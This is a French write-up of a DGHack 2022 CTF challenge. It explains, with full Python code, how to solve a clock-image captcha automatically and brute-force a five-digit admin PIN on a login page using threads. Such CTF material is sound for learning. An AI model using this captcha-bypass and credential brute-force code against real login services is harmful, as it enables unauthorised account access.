Bypass de captcha
Write-up du challenge Pas si chronophage du CTF DGHack (édition 2022)
Le
Pour ce deuxième write-up j'aborde la résolution d'un petit challenge de programmation bien sympa dans lequel on va devoir bypass un captcha de type horloge.
Le challenge
Description Cette application permet la connexion de l'utilisateur à son compte de box internet.
La page de connexion se présente comme ceci:

Page de connexion
Elle prend en paramètre un username et un code numérique. Un captcha est présent afin de prévenir contre les attaques de type bruteforce. Une indication nous apprend que l'username est "admin" et que le mot de passe est une suite de 5 nombres.

On va donc nous falloir contourner le captcha afin de pouvoir bruteforce cette page de connexion.
Automatiser la résolution du captcha
Trouver la positon des aiguilles
On commence par réfléchir un peu: comment repérer les aiguilles sur l'image (malgré les parasites) ? Et bien on va faire appel à nos cours du collège : l'équation du cercle. En effet, on sait que pour un cercle de rayon r et de centre (a,b), les points de coordonnées (x,y) appartenant au cercle vérifient l'équation :

équation du cercle
L'image fait 200x200 pixels, donc le centre de l'image, qui s’avère être le centre de l'horloge, se trouve aux coordonnées (100,100). On mesure grossièrement sur Photoshop la taille des deux aiguilles (en pixels), puis on passe au cercle.
Comme on sait que les aiguilles sont toujours noires, on peut parcourir tous les pixels de l'image, identifier les pixels appartenant au cercle de centre (100,100) et de rayon la taille des aiguilles, puis vérifier qu'ils sont bien noirs. Si c'est le cas, alors on sait que ce pixel est un point de l'aiguille.

Les pixels appartenant au cercle rouge et étant noire font partie de la grande aiguille, et ceux appartenant au cercle bleu et qui sont noirs font partie de la petite aiguille.
Au niveau du code python, j'ai rajouté un pas de 0.5 pour obtenir plus de points au cas où un parasite se situerait sur le point du cercle.
def f_is_in_cercle(self,pos_point,pos_centre,r):
is_in_circle = (r+0.5)**2 <= (pos_point[0] - pos_centre[0])**2 +(pos_point[1] - pos_centre[1])**2 <= (r+0+5)**2
return is_in_circle
Calculer les angles formés par les aiguilles
Maintenant que l'on connait la position d'un point de chaque aiguille, il nous faut retrouver l'heure qu'elle indique. Pour cela on va mesurer l'angle via la formule du calcul d'angle dans un triangle quelconque:

Pour cela on fixe un troisième point tout en haut de notre image, de coordonnée (100,0), et on applique bêtement la formule.

Calcul de l'angle de la grande aiguille
Dans le cas illustré ci-dessus, on calcule l'angle de la grande aiguille.
NB: Attention, si la coordonnée des abscisses d'une aiguille est inférieure à la moitié de la taille de l'image, il faudra soustraire l'angle trouvé à 360. C'est le cas sur l'image ci-dessus: on prendre l'angle égal à 360° - angle_vert.
def calc_angle(self,pos_point,pos_centre,r):
H = (int(pos_centre[0]),int(pos_centre[1]-r))
segment_PC = sqrt( (pos_centre[0]-pos_point[0])**2 + (pos_centre[1]-pos_point[1])**2 )
segment_HC = sqrt( (pos_centre[0]-H[0])**2 + (pos_centre[1]-H[1])**2 )
segment_HP = sqrt( (pos_point[0]-H[0])**2 + (pos_point[1]-H[1])**2 )
#print(( float(segment_PC**2) + float(segment_HC**2) - float(segment_HP**2) ) / float(2*segment_PC*segment_HC))
if abs(( float(segment_PC**2) + float(segment_HC**2) - float(segment_HP**2) ) / float(2*segment_PC*segment_HC)) > 1:
return None
angle = acos( ( float(segment_PC**2) + float(segment_HC**2) - float(segment_HP**2) ) / float(2*segment_PC*segment_HC) )*180/pi
if pos_point[0] < self.IMG_SIZE[0]/2:
angle = 360- angle
return angle
Une fois qu'on a l'angle, il nous suffit de faire un produit en croix pour retrouver l'heure:
3 heures = 90° => 1 heure = 30°
15 minutes = 90° => 1 minutes = 6°
On adapte en python:
def get_minute(self,angle):
return angle/6
def get_heure(self,angle):
return angle/30
Maintenant on a tout pour casser le captcha.
class parse_horloge:
def __init__(self,img_content = None,img="captcha.png"):
if img_content != None:
self.IMG = Image.open(BytesIO(img_content))
self.IMG_debug = Image.open(BytesIO(img_content))
else:
self.IMG = Image.open(img)
self.IMG_debug = Image.open(img)
self.IMG_SIZE = (200,200)
self.CENTRE = (self.IMG_SIZE[0]/2,self.IMG_SIZE[1]/2)
self.LARGEUR_CONTOUR = 96
self.LARGEUR_GRANDE_AIGUILLE = 70
self.LARGEUR_PETITE_AIGUILLE = 37
def find_grande_aiguille(self):
for x in range(0,self.IMG_SIZE[0]):
for y in range(0,self.IMG_SIZE[1]):
coord = (x,y)
if self.f_is_in_cercle(coord,self.CENTRE,self.LARGEUR_GRANDE_AIGUILLE):
if Image.Image.getpixel(self.IMG, coord) == (0,0,0):
Image.Image.putpixel(self.IMG_debug, coord, (255,255,0))
#print(coord)
return self.calc_angle(coord,self.CENTRE,self.LARGEUR_GRANDE_AIGUILLE)
def find_petite_aiguille(self,angle_grande_aiguille):
for x in range(0,self.IMG_SIZE[0]):
for y in range(0,self.IMG_SIZE[1]):
coord = (x,y)
if self.f_is_in_cercle(coord,self.CENTRE,self.LARGEUR_PETITE_AIGUILLE):
if Image.Image.getpixel(self.IMG, coord) == (0,0,0):
Image.Image.putpixel(self.IMG_debug, coord, (255,0,255))
#print(coord)
#print(" heures: %i" % calc_angle(coord,CENTRE,LARGEUR_PETITE_AIGUILLE) )
angle = self.calc_angle(coord,self.CENTRE,self.LARGEUR_PETITE_AIGUILLE)
#print(angle)
if not angle_grande_aiguille-3 <= angle <= angle_grande_aiguille+3:
return angle
# une heure = 30°
# 1 minute = 6°
#
def get_minute(self,angle):
return angle/6
def get_heure(self,angle):
return angle/30
def calc_angle(self,pos_point,pos_centre,r):
H = (int(pos_centre[0]),int(pos_centre[1]-r))
segment_PC = sqrt( (pos_centre[0]-pos_point[0])**2 + (pos_centre[1]-pos_point[1])**2 )
segment_HC = sqrt( (pos_centre[0]-H[0])**2 + (pos_centre[1]-H[1])**2 )
segment_HP = sqrt( (pos_point[0]-H[0])**2 + (pos_point[1]-H[1])**2 )
#print(( float(segment_PC**2) + float(segment_HC**2) - float(segment_HP**2) ) / float(2*segment_PC*segment_HC))
if abs(( float(segment_PC**2) + float(segment_HC**2) - float(segment_HP**2) ) / float(2*segment_PC*segment_HC)) > 1:
return None
angle = acos( ( float(segment_PC**2) + float(segment_HC**2) - float(segment_HP**2) ) / float(2*segment_PC*segment_HC) )*180/pi
if pos_point[0] < self.IMG_SIZE[0]/2:
angle = 360- angle
return angle
def f_is_in_cercle(self,pos_point,pos_centre,r):
is_in_circle = (r+0.5)**2 <= (pos_point[0] - pos_centre[0])**2 +(pos_point[1] - pos_centre[1])**2 <= (r+0+5)**2
return is_in_circle
def run(self):
angle_minute = self.find_grande_aiguille()
angle_heure = self.find_petite_aiguille(angle_minute)
#print( "%s:%s" % (str(floor(self.get_heure(angle_heure))).zfill(2),str(round(self.get_minute(angle_minute))).zfill(2)) )
return "%s:%s" % (str(floor(self.get_heure(angle_heure))).zfill(2),str(round(self.get_minute(angle_minute))).zfill(2))
Automatiser le bruteforce
Contourner la protection
Pour nous compliquer la tâche, la valeur du captcha est d'abord transformée via une permutation dont les paramètres sont aléatoires, puis encodés en base64. Pour résoudre ce léger problème, j'utilise le module beautifulsoup pour parser la page de login, récupérer les paramètres de la permutation et formater les données à envoyer.
class Connect:
def __init__(self,password="aaaaaa") -> None:
self.r = requests.session()
self.page = ""
self.attribute_valeur = {}
self.img_url = ""
self.img_name = ""
self.img_content = b""
self.password= password
def __make_request(self):
'''
Envoie une requete sur la page et sauvegarde l'objet retourné
'''
self.page = self.r.get(URL)
if self.page.status_code != 200:
print(Fore.RED + "[-] " + Fore.WHITE + "Erreur dans la connection")
def __parse_request(self):
'''
Parse tout les elements importants du index.html, c'est à dire:
- Les valeurs pour envoyer l'heure
- L'image captcha
'''
soup = BeautifulSoup(self.page.text)
for element in soup.find_all("a", {"class": "Login-key"}):
self.attribute_valeur[element.find("div").text] = element.find("div")['data-pos']
self.img_url = URL + soup.find("img",{"class":"captcha-image"})["src"]
def __generate_random_name(self,size=10) -> str:
'''
Genere un nom aléatoire pour une image
:param size: Taille du nom de l'image
'''
letters = string.ascii_lowercase
return ( ''.join(random.choice(letters) for i in range(size)) ) + ".png"
def __save_image(self,save_local=True):
'''
Recupere le code de l'image
:param save_local: Indique si l'image doit être sauvegardé sur la machine
'''
self.img_name = self.__generate_random_name(15)
self.img_content = requests.get(self.img_url).content
if save_local:
f = open(self.img_name,"wb")
f.write(self.img_content)
f.close()
def __calc_horloge_value(self,value : str) -> str:
'''
Encode l'heure du captcha
:param value: String contenant l'heure (12h) au format HH:MM
'''
value = value.replace(":","")
value_transcoded = ""
for number in value:
value_transcoded += self.attribute_valeur[number]
return value_transcoded
def __prepare(self):
self.captcha_value = self.__calc_horloge_value(self.time)
self.user = USER
self.password = self.password
self.post_data = {"username":base64.b64encode(self.user.encode()).decode('utf-8'),
"password":base64.b64encode(self.password.encode()).decode('utf-8'),
"captcha":base64.b64encode(self.captcha_value.encode()).decode('utf-8')
}
def __send(self):
self.r_response = self.r.post(URL + "login.php",data=self.post_data)
#print(self.r_response.status_code)
#print(self.r_response.text)
if "Bad username/password" in self.r_response.text:
return [False,"password"]
elif "Wrong captcha" in self.r_response.text:
return [False,"captcha"]
elif "Bad Gateway" in self.r_response.text:
return [False,"Bad Gateway"]
elif not "dghack{" in self.r_response.text.lower():
print(self.r_response.text)
return [False,"Unknown"]
else:
print(self.r_response.text)
return [True,self.r_response.text]
def run(self,log=True):
if log: print(Fore.GREEN + "[-] " + Fore.WHITE + "Recuperation de la page")
self.__make_request()
if log: print(Fore.GREEN + "[-] " + Fore.WHITE + "Parsing de la page")
self.__parse_request()
if log: print(Fore.GREEN + "[-] " + Fore.WHITE + "Recuperation de l'image")
self.__save_image(save_local=log)
if log: print(Fore.GREEN + "[-] " + Fore.WHITE + "Lecture de l'image")
self.parse_horloge = parse_horloge(img_content=self.img_content)
self.time = self.parse_horloge.run()
if log: print(Fore.GREEN + "[-] " + Fore.WHITE + "Preparation du formulaire")
self.__prepare()
if log: print(Fore.GREEN + "[-] " + Fore.WHITE + "Envoie du formulaire")
return self.__send()
Le bruteforce
On a maintenant tout ce qu'il faut pour lancer notre bruteforce. On génère toutes les combinaisons de caractères possibles avec les chiffres de 0 à 9, puis on lance.
def generate_wordlist(l):
yield from itertools.product(*([l] * 5))
def bruteforce(wordlist,th):
for password_test in wordlist:
password_test = ''.join(password_test)
try:
a = Connect(password=password_test)
result = a.run(log=False)
except:
print("- (%i) %s : %sConnection erreur%s" % (th,password_test,Fore.RED,Fore.WHITE))
result = [False,"Connection"]
if result[0] == False and result[1] == "captcha":
while result[1] != "password":
print("- (%i) %s : %sWrong captcha%s" % (th,password_test,Fore.RED,Fore.WHITE))
try:
a = Connect(password=password_test)
result = a.run(log=False)
except:
print("- (%i) %s : %sConnection erreur%s" % (th,password_test,Fore.RED,Fore.WHITE))
result = [False,"Connection"]
if result[0] == False:
print("- (%i) %s : %sWrong password%s" % (th,password_test,Fore.RED,Fore.WHITE))
pass
else:
print("- (%i) %s : %sGood password%s !" % (th,password_test,Fore.GREEN,Fore.WHITE))
sys.exit(0)
break
DEBUG = False
CHAR = "01234567899"
N = 3 # Nombre de thread
def main():
if DEBUG:
a = Connect()
a.run()
else:
wordlist = list(generate_wordlist(CHAR))
print(len(wordlist))
threads = []
for i in range(0,N):
start = int(len(wordlist)/N) * i
end = int(len(wordlist)/N) * (i+1)
print("threads %i : %i -> %i" % (i,start,end))
threads.append( threading.Thread(target=bruteforce, args=(wordlist[start:end],i)) )
for i in range(0,N):
threads[i].start()
main()